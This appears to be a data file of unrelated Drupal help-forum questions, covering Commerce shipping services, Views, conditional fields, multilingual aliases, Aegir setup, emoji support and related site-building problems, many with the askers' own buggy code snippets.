texts: Drupal Commerce 1: Not getting shipping methods returned

texts:
I have to rewrite our company's ecommerce modules to work with our new service, converting it from XML to REST. I have a function that implements hook_commerce_shipping_service_info()
/**
 * Implements hook_commerce_shipping_service_info().
 */
function mymodule_shipping_commerce_shipping_service_info() {

  $shipping_services = array();

  foreach ($_SESSION[SHIPPING_METHODS] as $shipping_object) {

    $shipping_services[$shipping_object->{"<Id>k__BackingField"}] = array(
      'title' => $shipping_object->{"<Name>k__BackingField"},
      'description' => "Ship with " . $shipping_object->{'<Name>k__BackingField'},
      'display_title' => $shipping_object->{'<Name>k__BackingField'},
      'shipping_method' => 'mymodule_shipping_method',
      'price_component' => 'shipping',
      'callbacks' => array(
        'rate' => 'mymodule_shipping_service_rate',
        'details_form' => 'mymodule_shipping_service_details_form',
        'details_form_validate' => 'mymodule_shipping_service_details_form_validate',
        'details_form_submit' => 'mymodule_shipping_service_details_form_submit',
      ),
    );;
  }

  return $shipping_services;

}

which gets a list of shipping from our internal service. I appears to work fine and mimics what was once hardcoded as options but it doesn't seem to perform the callbacks.
Each time I try to get shipping via the site, the shipping page comes back with no shipping methods found despite the array being filled with 3 options:
[
   "1":[
      "title":"UPS Ground",
      "description":"Ship with UPS Ground",
      "display_title":"UPS Ground",
      "shipping_method":"mymodule_shipping_method",
      "price_component":"shipping",
      "callbacks":[
         "rate":"mymodule_shipping_service_rate",
         "details_form":"mymodule_shipping_service_details_form",
         "details_form_validate":"mymodule_shipping_service_details_form_validate",
         "details_form_submit":"mymodule_shipping_service_details_form_submit"
      ]
   ],
...
]

I added watchdog to the mymodule_shipping_service_rate to see if it was running so I can see where the issue might be but the watchdog is never registered in my Recent Log Messages which leads me to believe that somehow those callbacks are not firing.
I am absolutely perplexed why the shipping options pane keeps coming up empty. Anything glaring wrong? Thanks!


texts:
Hi is it possible to make a search box which are searching only for some specific content.

it should be a search box that should look at titel, ingrediensliste, body, and who have made it.


texts:
I successfully set up Aegir hosting in my Ubuntu based VM. At the time of new site creation I face some problems. I got message saying the new site successfully installed but when i click "Log into site" I get a "page not found error". I understand there will be DNS issue, how can I resolve this?

While trying same thing in my local pc. I get to the new site by modifiying my hosts file.  Is it possible to get the site without altering my hosts file?


texts: Displaying content from an entity reference in a view

texts:
I have a node type, Medical Group, that has an entity reference field (field_accreditation) to another node type, Accreditation.

I would like to create a block to display on each Medical Group page that displays the Accreditation for that particular Medical Group.

I also need to provide a default value when the block is placed on a page that does not have an Accreditation field.

I've tried adding a relationship and then using that as a contextual filter, but that doesn't seem to work. Any advice or steps to go about this?


texts: Conditional fields module - Required fields that are hidden are still required to be filled

texts:
I'm using the Conditional Fields module to create dependencies that hide/show certain fields in a shipping/billing information form.

In the form, I have 1 "List (text), select list" field which is used to select the dependees for 3 dependents. The dependents are 2 "List (text), select list" fields and 1 "Text" field. All fields are set to be required in their field settings.

I have each dependent set to be invisible unless its' dependency is triggered. My problem is that after triggering one dependency, the 2 remaining dependents, which are hidden, are still required even though they are hidden. When submitting a form, this causes an error message to display saying:

"x field is required

y field is required"

::My settings for each dependent are as follows::

Condition: Value

Values input mode: None of these values (NOT)

Set of values: "My selected value(s) that trigger(s) the dependency"

Interaction with other dependencies: XOR

Form state: Invisible

Effect: Show/Hide

✓ Hide the dependent if the dependee is not in the form

✓ Hide the dependent if the dependency is not triggered

✓ Hide the dependent if the dependee is not viewable by the user


texts:
In Drupal 7 the current language is a global variable we can access with

global $language;
$langcode = $language->language;

I want to know how can we access the current language in a Twig file in Drupal 8 (in page--front.html.twig for example)?


texts: sort comments descending programmatically

texts:
I want to sort all comment descending  programmatically, I found this Comments sorted by oldest first but I dont want use those modules or views solution.
anybody know how can I sort comment descending programmatically?
I means comments in below node(contents) , first ideal is get comments related to node by query and set orderby DESC  but everything show reversed in thread mode, replies come above comment !!!.


texts: How to create field collection item fields programmatically?

texts:
first of all, English is not my native language so sorry if this reads bad.

I'm trying to program a field collection with field collection item fields like the code as given by rbruhn here: https://drupal.org/comment/4653514#comment-4653514

I want to create it on an easier leavel for testing purposes. My goal is to create a taxonomy reference dropdown and a textfield.

I manage to reproduce the field_collection type. Hower, I can't reproduce any field collections item fields. Let's say I want a textfield in my field collection.

creating an ordinary textfield field collection item field, this would make sense to me (but it doesn't work). Can someone tell me what I do wrong? Instead of appearing inside my field collection it appears as a field inside my node which contains my field collection field

array(
  'field' => array(
    'field_name' => 'name_of_my_field',
    'type' => 'text',
    ),
  ),
  'instance' => array(
    'field_name' => 'name_of_my_field',
    'entity_type' => 'field_collection_item',
    'bundle' => 'name_of_my_field_collection_field',,
    'widget' => array('type' => 'text_textfield'),
  )
),


texts: How to make a stacked flexslider slideshow carousel

texts:
I would like two ad blocks showing the same randomized content, but without duplicates.

I could just use two different blocks, with different flexslider options, (both starting on different images and moves by two), but that only works with even number images and can not be randomized.

Right now, I'm trying to make a carousel showing two images, and trying to restrict the container to a size that they form two layers. The problem: flexslider still moves on to white space, as if it was still one long layer.

Thank you for your time.


texts: How to programmatically link commerce products to taxonomy terms

texts:
I'm trying to link existing commerce products to an existing taxonomy term in Drupal 7:

$products = commerce_product_load_multiple($pids);
foreach($products as $product){
    $product->field_some_option[LANGUAGE_NONE][0]=$tid; //the taxonomy term id
    commerce_product_save($product);
}

This doesn't work.

Typically when I assign the taxonomy term to the product via the admin pages it adds an entry to a database table called field_data_field_some_option, which contains the product and term id. When I use the above code, a new entry is again made in the table, but the term id is set as NULL.

Note that I'm trying to link commerce products, not product displays, which as far as I understand means I can't use the typical node-taxonomy linking approach.

Anyone know how to get this working, short of bypassing Drupal APIs and editing the database directly?


texts: How to change permissions on an Agenda block?

texts: So, I'm working with a drupal 7 site using Login Toboggan and I'm running into an issue. The title of my calendar block shows up for anonymous users on a page they shouldn't be able to access. So, the block title is displayed on the user-login screen and when I disable the Login Toboggan module the calendar block shows up on the 403 screen, because the block doesn't have any role restrictions. The issue is that the calendar block is generated from the code in the Agenda module (I think) and it sets the Body field as required. If I change the body field, I break the calendar application, since the body field is required I can't update the role permissions. So, I either need to change the settings on the body field, or change the role permissions in the Agenda module's code. Not sure what the best way to approach this is.


texts:
I have placed the following function in my .module file to get the information of current view. But it returns null

public function buildForm(array $form, FormStateInterface $form_state) {
    $record = array();
    $view = views_get_current_view();
}

I have added use Drupal\views\Views; in the top.

What could be the reason to return null. Am i missing anything?


texts: Language detection method "Browser" doesn't work if I check "Cache pages for anonymous users"

texts:
I have two method detection activated in this order:

1- URL

2- Browser

Problem is that the method "Browser" doesn't work at all if "Cache pages for anonymous users" at 'admin/config/development/performance' is checked. The default language is loaded all the time regardless the Browser language.

It works fine if I uncheck "Cache pages for anonymous users".

See the captures.


texts: How does contextual menus work in Drupal 7?

texts:
I've been trying to understand this for a while now, but I find the documentation either to lacking, or maybe I just don't understand what I'm looking for. Could anyone enlighten me on how to implement them?

One thing I'm trying to do is to be able to have contextual menus for each node in a list of nodes (loaded using node_load_multiple) that I'm sending along to a theme() function and looping through inside the .tpl.php


texts: users not able to post to discussion board

texts: I have a simple forum in Drupal 6 that has 3 containers.  From the admin perspective I can easily post a comment in either of the 3 containers.  However authenticated users are unable to post to any container.  The drop down box that allows you to select the container within the forum does not appear for authenticated users. I have attached a screen shot showing the difference between the two.  Yes, user permissions are all turned on to enter content for the discussion board.  Any suggestions on how to fix this issue?


texts: All site content being dumped into one group after upgrade to organic groups 7.x-2.3

texts:
I recently upgraded to OG version 7.x-2.3 as part of the security bug fix for OG. Unfortunately, as was indicated, it certainly wasn't backwards compatible with the version of OG I already had installed, and it messed up my groups big-time. After going back and re-calibrating things (a fresh install isn't an option), I've got it almost back to where it was previous to the upgrade except for one major problem: the Views integration is causing a huge issue, maybe because it doesn't seem to have been upgraded along with the rest of OG.

Since I was getting the error message "call to undefined function og_get_group()" after the upgrade, I searched and found a somewhat helpful post here: https://drupal.org/node/1522026#comment-7823093. The function has been deprecated in 7.x-2.x. I first tried implementing the patch in post #4, but I couldn't get that to work. I then went with post #3 and commented out the line "// $group = og_get_group($entity_type, $etid);" along with doing the other tweaks called for in post #3.

I no longer get the error message, but, unfortunately, every bit of content from everywhere on my website is now showing up within one of my groups (only articles published by group members are supposed to be posted there, but literally ALL of the content from my entire site is now in one of my groups), and none of the other previous articles are showing up in my other groups.

I then went ahead and changed the code back to the original code that was there before, while commenting out that same line, and I'm still getting the same result.

In other words, every bit of content is getting dumped into that one group. Here is the relevant bit of code that I customized to get me to this point, which is located in the og_views.module file:

function og_views_field_formatter_view($entity_type, $entity, $field, $instance,
$langcode, $items, $display) {
$element = array();

if ($field['field_name'] == OG_VIEWS_FIELD && !empty($entity->{OG_VIEWS_FIELD}
[LANGUAGE_NONE][0]['value'])) {
$view = $entity->{OG_VIEWS_FIELD}[LANGUAGE_NONE][0]['value'] == '__global' ?
variable_get('og_views_global_view', 'og_nodes') : $entity->{OG_VIEWS_FIELD}
[LANGUAGE_NONE][0]['value'];

if ($view = explode(' ', $view)) {
  list($etid) = entity_extract_ids($entity_type, $entity);
  //$group = og_get_group($entity_type, $etid);
  $element[0] = array('#markup' => views_embed_view($view[0], !empty($view[1]) ?
$view[1] : 'default', !empty($group) ? $group->gid : ''));
   }
}

return $element;
}

Or maybe it's not the og_views.module file that needs to be modified at all, but some other file? Can anyone help me with this?


texts:
Yesterday I had a peek in visitors and I saw following PDOException in my logs:

PDOException: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction: SELECT revision.order_number AS order_number, revision.revision_id AS revision_id, revision.revision_uid AS revision_uid, revision.mail AS mail, revision.status AS status, revision.log AS log, revision.revision_timestamp AS revision_timestamp, revision.revision_hostname AS revision_hostname, revision.data AS data, base.order_id AS order_id, base.type AS type, base.uid AS uid, base.created AS created, base.changed AS changed, base.hostname AS hostname FROM {commerce_order} base INNER JOIN {commerce_order_revision} revision ON revision.revision_id = base.revision_id WHERE (base.order_id IN (:db_condition_placeholder_0)) FOR UPDATE; Array ( [:db_condition_placeholder_0] => 6131 ) in DrupalDefaultEntityController->load() (line 191 of /var/www/vhosts/shopmybooks.com/releases/20141208090103/web/includes/entity.inc).

I can't seem to find any good solution for this.
Drupal version 7.27

Any help?


texts: How do we programmatically place a section and then a block in that region on module install?

texts:
We are looking for the best way to export a defined/built layout with inline blocks and then use that to programmatically set both them during a module install.

eg.

module install

create node in content type
apply section
create and apply block to section in node

Currently we are having to print the array, strip UUIDs.. then attach them to the layout field value of the node we create. Which can lead to issues if not cleaned up correctly.


texts: Can't uninstall module because of checkbox field

texts:
I've a custom module that alters the MenuLinkContent entity by adding a field. My field is defined as follow.

/**
 * Implements hook_entity_base_field_info().
 */
function svg_icon_menu_link_entity_base_field_info(EntityTypeInterface $entity_type) {

  $fields = array();

  if ( $entity_type->get('id') !== 'menu_link_content' ) {
    return $fields;
  }

  $fields['hide_label'] = BaseFieldDefinition::create('boolean')
    ->setLabel(t('Hide label'))
    ->setDescription(t('Display only the icon.'))
    ->setDisplayOptions('form', array(
      'type' => 'checkbox',
      'weight' => 0
    ));

  return $fields;
}

By default the checkbox is saved in the DB with a value of 0 if unchecked, and with a value of 1 if checked. To Drupal there's always a value for that field, that's why it prevent me to uninstall the module with the message There is data for the field hide_label on entity type Custom menu link.

How should I manage this situation? Should I save a value of NULL if unchecked in some way, or should I have to do something when uninstalling my custom module?


texts: How to add a cache context from an existing menu?

texts:
I want to update my breadcrumb when the menu structure changes. This did not work:

$breadcrumb->addCacheContexts(['route']);

Whats the correct way?

Edit: some more context (pun actually intended):

  I have a breadcrumb which adds the menu structure of the current
  node's menu parents as links. Obviously, when the structure somehow
  changes, the breadcrumb has to get updated also.


texts: What module is used to create the table of contents in Drupal documentation?

texts: I want to create a table of contents for sections of my site like Drupal.org has for their documentation. For example on this page, there is the "Table of Contents" block on the right hand side. What module is used to do this?


texts: How to hide a field of a Views row if comments are closed?

texts:
I know there are some easy tricks to hide Views fields conditionally (catchword: hide if empty). None of them seems to work for me. Also hook_views_pre_render() or other preprocess approaches didn't work since they never touch the row in a way where I could have unset that certain field I'ld like to hide conditionally.

This is the setup I have to work with:

[field 1] hidden from display
[field 2] hidden from display
[field 3] hidden from display and rewritten to output <markup>[field 1][field 2]</markup>
[field 4] hidden from display
[field 5] rewritten to output <markup>[field 3][field 4]</markup>

I'ld like to unset [field 3] if comments of that row's nid are closed (if ($node->comment != 2)). I think maybe field handlers are the way to go, but I don't see how. I have to bind some .inc into my custom module, is that right? But which of these many .inc files is the one I have to work with and how would I alter it? Or are there other ways to achive what I need?

I think my main question is somewhere in the direction of "How to conditionally hide rewritten fields?" It seems really dificult to fetch these fields along the processing and unset them. Rebuildung the whole view would maybe bring me even more problems, while lots of css goes with the nested markup. I think it would've been much better to have started without fields and with a view mode instead in the very beginning.


texts: How to add a placeholder field to Entity Forms

texts:
I am trying to add a placeholder field, but I seem to only be able to add a text field above the form input,

Is it possible to add through the manage fields section in entity form ?


texts: Drupal 7 and Views 3: Page Display and Random Appended Arguments in URL

texts:
This is going to seem like an odd question. I am not sure if this is the way Views is meant to work but I want to see if I can turn it off.

Say I have a View with a Page Display with a defined URL like so: /testimonials

The Display takes not arguments what so ever. Here is the problem: I can now access this view using URLs like this:

/testimonials/5898
/testimonials/hello/what
/testimonials/stupid/appended/data

I can't for the life of me figure out how to turn this off in Views. Any ideas?


texts:
I just want to create a view that show each user their own set of comments only. would I add something in contextual filters?

Thanks
Tony


texts: I have a script that need to place after closing tag after of body?

texts:
I have JS script . I need place this script after closing tag of body using php.
How can i place that script.


texts: Menu links and content to appear in different languages

texts:
I have a small link in my page; when I click it, the whole website should come up in a different language, i.e. menus and the content. What modules should I need for this to be done perfectly?

For example, I saw this website, where alignment and layout also get changed a bit.


texts: Can't Review Order, button loops back to checkout form '/cart/checkout'

texts:
I'm having a problem which is prevent me from reviewing my order after completing the checkout form. Once I click on "Review Order" the page essentially refreshes itself because of the loop. Others with the same issue have varying solutions, I've tried a handful so far without any luck.

It seems the issue may be with the session being lost somehow, but I'm not sure what could be causing this. I haven't changed anything related to ubercart in months, yet the problem appeared days ago. Any suggestions or work arounds would be greatly appreciated.

I'm using PayPal Website Payments Standard, Drupal 6.2, Ubercart 6.29.

Thanks.


texts: What's the correct way to enable clean urls when Drupal is hosted in a sub directory (linux server)?

texts:
Until recently, I've never used Drupal in a subfolder before, and having followed the directions in the .htaccess file as well as this page, I'm unable to get it working.

Drupal projects will be stored in the following structure:

localhost/drupal/project1
localhost/drupal/project2
...
localhost/drupal/project10

Here is where I am:

Per the .htaccess file I uncommented the rewrite rule for subdirectories so that it reads RewriteBase /drupal/project1
Per the link above I changed the httpd.conf file to read AllowOverride All so .htaccess overrides would work.

Yes, the rewrite module is installed and working. Yes, I've restarted Apache several times and cleared Drupal cache. I've even tried different variations of the rewrite base. Nothing.

Am I missing a step somewhere?


texts:
When creating a webform in version 5.18 each element had an option to include it in a selected fieldset.  Worked like a charm.
Now, on version 6.22 I cannot find this option anywhere.  I can't believe they've done away and my research only yields php code which user form creators are not going to use.
Can someone please advise where to find or what to add to bring this feature back?  One post I found elsewhere talks about an 'advanced' area but again, cannot find it anywhere.
Suggestions please?  Thank you.


texts: Synchronize data between 2 sites dynamically

texts:
I currently have two Drupal sites and I would like to synchronize in a specific way the data of each one.

More precisely, the first one contains detailed informations and the other only has the main data necesary for its work. I would like to refresh (create/update) the data of the second one when the first one is modified and also would like to refresh (create/update) the first one when the second one is modified, taking into account the content types and field names are not the same in both. In my case, the data that should be manipulated are nodes and users.

I have already tried to find solutions through web services or feed import, but I didn't succeed to build a correct one. Moreover, I also studied the possibility to schedule periodic import from web services but it would be slow the site performance, due to the very important amount of data contained in each site.

Can someone help me?


texts: Exposed filters and how data can be styled

texts:
We have a drupal site that we are customizing. We have a set of filters that are exposed on a page. This works perfectly, i.e. when a filter option is selected only the results are correctly shown. But we have a client requirement that upon selecting one of the filter options the whole results should be shown (as if no filtering was applied) but only the valid results should be clickable and the other should have some disabled class.

What would be the easiest way to accomplish this?


texts: Entity reference Autocomplete widget performance issue on add/remove

texts: I have created content type and using entity reference module.I am facing very slow performance on entity reference Autocomplete widget while add more or remove option in admin side. Its taking time to responding. Any one have had this issue.


texts:
I want to hide page title on a specific path, but I want to retain the page title between "title" tags in the header. I want the title to be exist in title bar of the browser, but that should not be displayed in the page for specific paths.

Is that could be done using theme_preprocess_page Or any other specific hooks out there ?

Is there any module?

What else could be done to prevent page title from displaying on the page in specific paths?


texts: COOKIE['session_api_session'] not working in drupal 7

texts:
I have a simple module to use the flag module base on the session api.
This was working in drupal 6 (and another section working for logged in users), i changed the syntax for drupal 7 (remove db_results wrapper), and am getting some error i dont understand.

This is my code.

  $cookieid = $_COOKIE['session_api_session'];
  $sid = db_query('SELECT sid FROM {session_api}  WHERE session_id = "' . $cookieid . '"')->fetchField();

    // Returns a value only if the anonymous user has at least one bookmark
   $result = db_query('SELECT fid FROM {flag_content}  WHERE sid = ' . $sid . '' )->fetchField();

This is the error I get:

  Notice: Undefined index: session_api_session in
  flag_here_preprocess_html() (line 19 of
  /home/dev/drupal-7.x/sites/www.site.com/modules/flag_here/flag_here.module).

  PDOException: SQLSTATE[42S22]: Column not found: 1054 Unknown column
  '' in 'where clause': SELECT sid FROM {session_api} WHERE session_id =
  "";

  Array ( ) in tmc_flag_here_preprocess_html() (line 20 of
  /home/dev/drupal-7.x/sites/www.site.com/modules/flag_here/tmc_flag_here.module).

All the data exist.

I really don't understand what is going on here.

I have a feeling it is something with $_COOKIEand the session_api_session, but I could be off.


texts: How do I hook before the user is created in Behat tests?

texts:
I have a Behat test where I have a Given user step, and I want to alter some fields (token replacements). Which Behat hook should I use? I know that for Given content, the Behat hook would be @beforeNodeCreate.

Which hook is for users?


texts: Views2 Handlers: Fatal Error Class 'views_handler_field' not found

texts:
I am working on a module and want exposing some fields to Views and provide some custom filters. But I can't extend any Views classes without drawing a fatal error. My code looks something like this. It all works fine until I try to extend views_handler_field.

<?php
// $Id$
/**
 * @files
 *  Provide functionality for views.
 */
/**
 * Get some data and set some handlers.
 */
 function custom_views_data() {
      $data = array();
    $data['custom']['table']['group']  = t('custom');
    $data['custom']['table']['join'] = array(
      'node' => array(
        'left_field' => 'nid',
        'field' => 'nid',
      ),
    );
    // Has form
    $data['custom']['is_checked'] = array(
      'title' => t('Has contest form'),
      'help' => t('Filter based on presence of a contest form. Nodes with contest forms will equal 1.'),
      'field' => array(
        'handler' => 'views_handler_field',
        'click sortable' => FALSE,
      ),
      'filter' => array(
        'handler' => 'views_handler_filter_string',
      )
    );
    return $data;
 }

 // If you remove everything below here, things work as expected

 /**
  *
  * Define custom handlers.
  */
 function custom_views_handlers() {
      return array(
        'info' => array(
          'path' => drupal_get_path('module', 'custom')
        ),
        'handlers' => array(
          'custom_handler_is_checked_field' => array(
            'parent' => 'views_handler_field'
          )
        )
      );

 }

 /**
  * This class fails with Fatal error: Class 'views_handler_field' not found
  *
  */
class custom_handler_is_checked_field extends views_handler_field {}


texts: What is a one line mysql query that can update all body fields of matched nodes?

texts:
I am trying to do a bulk node update that affects 100+ nodes. I want to set each of these node's body field to a specific string. Say I want to affect all content types: "basic page".

Since my sql skills aren't up to par with join statements. I only got this far:

UPDATE field_data_body SET body_value = 'This is my string.' WHERE type = "basic_page" left join node;


texts:
I've upgraded an installation from Drupal 5 to Drupal 6, and now I can't get the archive to be displayed in the right order. I've set the sort criteria of the block to be descending and in the preview I can see it correctly: on top I get the last entry, followed by the one after that, etc. The block displayed in the left-hand column never changes, even after cleaning the cache. I know this is the right block because if I remove it, the archive view on the left column will go away too.

Do you have any suggestions?


texts:
I have a standard contact page created using webform, which has a set of radio buttons.

Is it possible to change the pre-selected radio option based on the referring page?


texts:
I am getting this strange notice

  Undefined index: method in drupal_prepare_form()

in my Drupal 7 application but only on production server. It is really weird, on my development PC I have PHP 5.4.6 and on my server I have 5.3.3 and this is probably the only difference. I cannot get this error on my dev PC, so I really don't have any idea what is wrong and how to repair this.

I couldn't find anything good on the web, only that it could be connected with localization modules.

thanks!


texts: RedHen Registration: where is the display settings?

texts:
I'm using the RedHen module for registration to an event.

I created the registration type and a content type Event that has a field "Registration".
For what I read, when one visualize a instance of a content Event it should appear the fields of the registration type but it isn't. In the description it says that depends on the "display settings" but when I create registration type I didn't see an option like that.

What can be wrong? Thanks in advance.


texts: How to add a text Autocomplete Widget programmatically

texts:
Trying to include a text Autocomplete Widget in a compound field (more here) using the snipped below.. but the field does not autocomplete. What am I doing wrong?

  $element['contact_name'] = array(
    '#title' => t('Name'),
    '#type' => 'textfield',
    '#default_value' => $defaults['contact_name'],
    '#weight' => 2,
    '#size' => '100',
    '#max_length' => '255',
    '#widget_type' => 'autocomplete_widgets_flddata',
    '#autocomplete_match' => 'contains',
    '#autocomplete_case' => '0',
    '#widget_module' => 'autocomplete_widgets',
  );


texts: How to avoid Drupal redirecting my multilingual Views pages?

texts:
I've got a Views page in a multilingual website where I need a different url for each language, ie:

es: mysite/apartamentos.
en: mysite/appartments.
fr: mysite/appartements.
ru: mysite/arendu.

I created an url alias for each language (which is mysite/appartments although the default language of my site is spanish) so the spanish alias for appartments is apartamentos and so on. I created these aliases using configuration >> Search and Metadata >> URL aliases >> add alias.

I have to pass query parameters to the view to filter the results so my url is something like mysite/en/appartments/p/location_field/2 and I've got a form where I manually put the action like :

echo "/".$language."/".$translated_page

where translated page may be apartamentos, appartments, appartements or arendu, making the action url :

/es/apartamentos , /fr/appartements , /en/appartments and /ru/arendu

My problem is that when this form is sent Drupal sends me to

  mysite/es/appartments/p/location_field/2

instead of

  mysite/es/apartamentos/p/location_field/2

and the same occurs for all the languages. The rest of the thing seem fine and even the breadcrumb (which is generated using the url) looks correct (
Inicio >> Apartamentos Costa Dorada, in Spanish).

When I use the language switch it redirects me to the correct translated page but without the query parameters (from mysite/es/appartments/p/location_field/2 it sends me to mysite/es/apartamentos).

I don't know what can be causing this issue, maybe the query parameters interfering with the alias interpretation?

Note: I have a lot of translation modules enabled. For the i18n modules there are: block, field, menu, node, path, string, taxonomy, translation (translation sets), variable and views.


texts: how to ignore the validation of hidden form fields in the user registration form?

texts:
I am having a problem regarding the validation of the hidden fields.

I have some some fields that are hidden and only visible if a specific field is selected.

And I marked those those hidden fields as required. So I want to validate those fields only if they are visible and not validate if they are hidden.

I tried the client side validation module but the problem is if I enter the visible required field values then upon submission it also validate those hidden fields.

Any idea?


texts:
At D7 multi-domain site, how to simply change the current domain of the user after he logged in to another domain?

For e.g,
A user fill the login form at, "false.example.com", I want to push him into "true.example.com"
I believe it is the SESSION trick.

Note: I'm using the "Domain Access" module at D7.


texts: Add custom text field to field settings form

texts:
In the admin when click edit on Manage Fields page it shows settings for that field. Can we add a custom property (checkbox) here like the required checkbox?

For example, for a decimal field it show 'Label' textbox, 'Required field' check box, 'Help text' textarea and so on. Can I add my own checkbox or textfield to this form?


texts: Slideshow with views - Make slideshow title optional

texts:
Hopefully this is an easy task and I am just too much a beginner to solve it ...

I use a slideshow that can be configured using views. Slideshow uses the following fields: Title, nid, and Slideshow image.

Is it possible to introduce an extra field (checkbox -> boolean) to page/article and then to exclude the title from being displayed if the boolean checkbox is checked?
To be precise; intrudicing the checkbox is easy, but I do not know how to evalute it then to exclude title in slideshow if checkbox is checked.


texts:
I am using the code below in a custom drupal 8 module to produce a table but the table does not sort when I click on the header, although the little arrow changes direction and the url indicates the sort order is different.

$headers = array(
      array('data' => t('Name'), 'field' => 'name', 'sort' => 'desc'),
      array('data' => t('Date'), 'field' => 'changed_date')

      );
$order = tablesort_get_order($headers);
         $sort = tablesort_get_sort($headers);
         $rows = array();
         foreach ($directoryData as $entry) {
          $rows[] = array(

             array('data' => $entry['name']),
             array('data' => $entry['changed_date']),

          );
       }
       $table_element = array(
            '#theme' => 'table',
            '#header' => $headers,
            '#rows' => $rows,
            '#empty' =>t('Your table is empty'),
        );

        $html=drupal_render($table_element);

Anyone know what i can do to debug why the sorting is not working?


texts: How to find drupal 6 ubercart Persian translation?

texts:
Does anyone has drupal 6 ubercart persian translation or Anyone know how can I find it?
Please help me
Thank you


texts: How do I access the Node Access User Reference configuration?

texts:
I've installed the References and Node Access User Reference modules on my Drupal 7 system.  I've added a User Reference field to a content type, and can happily add user references to nodes.

However, on the Node Access User Reference's project page, it shows a screenshot of a configuration form which I cannot find.  I want to grant referenced users editing rights, but cannot find where to do this.  Where do I find this form?


texts: Bootstrapping Drupal from the command line

texts:
Here is what I'm trying to do :

Write a php script that import external data into drupal.
Run that script every night with a cron that executes it using php, not wget.

In other words, I need my import script to run from the command line.

First step is done and working great when run as a module from Drupal. So I took all required bits of it, created a new file, and bootstraped drupal. After fixing a few warnings and errors (path issues mainly), the file is executed but actually no job is done.

So I start adding echo commands to see where everything goes to hell. And it appears that it's right after

drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

What I mean is that no error, warning or whatever is raised, but it's like the script exit somewhere inside that call.

I tried to lower the boostrap level to DRUPAL_BOOTSTRAP_LANGUAGE, but then I get the following error :

  Fatal error: Call to undefined function field_info_field() in /www/includes/entity.inc on line 768

I'm a bit lost on what happens and would welcome any suggestion.

Also, here is the beginning of the script that bootstrap Drupal :

<?php
    ini_set("display_errors", 1);
    error_reporting(E_ALL);
    chdir('/www/');

    $cmd = 'index.php';
    $_SERVER['HTTP_HOST']       = 'default';
    $_SERVER['PHP_SELF']        = '/index.php';
    $_SERVER['REMOTE_ADDR']     = '127.0.0.1';
    $_SERVER['SERVER_SOFTWARE'] = NULL;
    $_SERVER['REQUEST_METHOD']  = 'GET';
    $_SERVER['QUERY_STRING']    = '';
    $_SERVER['PHP_SELF']        = $_SERVER['REQUEST_URI'] = '/';
    $_SERVER['HTTP_USER_AGENT'] = 'console';

    define('DRUPAL_ROOT', '/www/');
    require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
    drupal_bootstrap(DRUPAL_BOOTSTRAP_LANGUAGE);

    // nothing gets executed past this point
    print("0\n");


texts: Preventing a block's custom template file from being cached

texts:
I have built a module that needs to provide a small piece of dynamic content on every page load of a certain content type. It works great, however the section of code I provided is always cached in Drupal theme registry (it seems). The Variables I need generated on each pageload are "$userpicturepath" and "$variables['userfullname']" How do I prevent this from being cached? For completeness, here is my module's code:

subscribe_blocks.module

//implementation of hook_block_info
function subscribe_blocks_block_info() {
    $blocks['author_subscribe_block'] = array(
        'info' => t('Author Subscribe Block'),
        'cache' => DRUPAL_NO_CACHE,
    );
    return $blocks;
}

//implementation of hook_block_view
function subscribe_blocks_block_view($delta = '') {
    switch ($delta) {
        case 'author_subscribe_block':
            $blocks['content'] = theme('subscribe_blocks_block');
            break;
    }
    return $blocks;
}

// Implementation of hook_theme
function subscribe_blocks_theme(){
    if ( arg(0) == 'node' && is_numeric(arg(1)) ) {
        $node = node_load(arg(1));
    }
    $user_fields = user_load($node->uid);

    return array(
        'subscribe_blocks_block' => array(
            'template' => 'subscribeblocks',
            'variables' => array(
                'userfullname' => $user_fields->field_name['und'][0]['safe_value'],
                'userpicture' => $user_fields->picture->filename,
                'userfields' => $user_fields,
            ),
        ),
    );
}

subscribeblocks.tpl.php

<?php
drupal_page_is_cacheable(FALSE);

if ($variables['userpicture'] != NULL){
    $userpicturepath = 'sites/example.com/files/styles/user_profile/public/pictures/' . $variables['userpicture'];
} else{
    $userpicturepath = 'https://someimgurl';
}
?>

                <img src=<?php echo $userpicturepath; ?> class='subscribeuserpic' >

Never miss another story by <?php echo($variables['userfullname']); ?>. Subscribe today.

                    <?php
                    $block = module_invoke('webform', 'block_view', 'client-block-5401');
                    print render($block['content']);
                    ?>

I'm using Drupal 7, have all other caching turned off (for now), and have tried using several modules including CacheExclude (https://www.drupal.org/project/cacheexclude) and Ajax Blocks (https://www.drupal.org/project/ajaxblocks).


texts: How to implement a Rules Action to loop through quantity of a products bought?

texts:
With the Drupal Commerce module, I created a new product type I use for selling points to my customers. The product has a custom field named “points” (field type integer) where I specify the amount of point to sell.

On checkout I grant the points to the user with this rule, using the Rules module (thanks to Vic, see "How do I sell points using a new product type?):

  Rule Event: on payment completed Action: loop through the order
  line-items. Each line-item has an action to call the next component
  with parameters of order and the line-item.
  Component Parameters:
  order, line-item Condition: data comparison line-item:type is Product
  (to expose line-item:commerce-product) Action: call next component
  with parameters of order and line-item:commerce-product
  Component
  Parameters: order, product Condition: data comparison product:type is
  Product (to expose the product:field-points-to-add) • Action: add
  userpoints, number to add being product:field-points-to-add

The problem comes when the quantity of the products sold is more than 1 because the action loops only through line-item and not through line-item:quantity.

Any suggestion for looping through line-item:quantity?


texts: How do you configure it so a published article promoted to another page instead of "front page"?

texts:
I have a main menu with:

"Home" -basic page
 "Contact us" -the default drupal contact form
 "news" - which I want all the news articles to dynamically publish to the top so that when people click on news they see the latest article.

I thought that making a menu item in the form of an "article page" might do it but that only seemed to be comfortable with a single article. I made it into a book and it has allowed me to create a page but the formatting has gone dead weird so I would like to be able to create my articles and click an option which allows me to promote my articles to the news page. Is this possible?

Thanks


texts: Emoji works in a site but not in the other site on the same host

texts:
I am trying to enable emojis following Multi-byte UTF-8 support in Drupal 7.

I have added the following to the settings.php file.

  'charset' => 'utf8mb4',
  'collation' => 'utf8mb4_general_ci',

I've converted MySQL tables into utf8mb4 format and set the collate to utf8mb4_general_ci.

On the Drupal 8 site emojis work, while on the Drupal 7 I get the following error.

  4 byte UTF-8 for mysql is activated, but not supported on your system. Please turn this off in settings.php, or ensure that all database-related requirements are met.

What am I missing?

Update

When I try to save a node with an emoji I receive the following error.

StatusText: Service unavailable (with message)
ResponseText: PDOException: SQLSTATE[HY000]: General error: 1366 Incorrect string value: &#039;\xF0\x9F\x98\x8A&#039;


texts: Pretty Tag display for entityreference (autocomplete)

texts:
